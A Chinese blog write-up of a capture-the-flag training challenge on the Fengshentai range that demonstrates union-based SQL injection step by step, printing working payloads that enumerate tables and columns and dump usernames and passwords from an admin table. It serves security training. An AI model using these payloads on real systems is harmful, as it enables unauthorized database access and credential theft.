封神台靶场 第一章:为了女神小芳 (SQL注入)

@封神台 网址 https://hack.zkaq.cn

题目

一、寻找注入点

?id=1 and 1=1  #回显正常

?id=1 and 1=2  #回显异常

 二、查看字段数

?id=1 order by 1,2  #回显正常

?id=1 order by 3 #回显异常

三、判断回显点

       得到回显位置为2 下一步利用联合查询寻找回显点,构造 

?id=1 and 1=2 union select 1,2

四、寻找相关内容

   1.查看版本信息

?id=1 and 1=2 union select 1,version()

2.爆数据库名

?id=1 and 1=2 union select 1,database()

3.爆表名

?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

4.爆字段名

猜测所要的信息在admin表中(admin一般代表用户)

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

5.获取字段值

?id=1 and 1=2 union select 1,group_concat(username,password) from admin

 

或者用 用户admin,接着查询password密码

?id=1 and 1=2 union select 1,password from admin

最后成功拿取flag hellohack 

总结

本题考查SQL注入的联合查询(union注入)的用法

了解更多SQL注入 点击这里 SQL详解

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值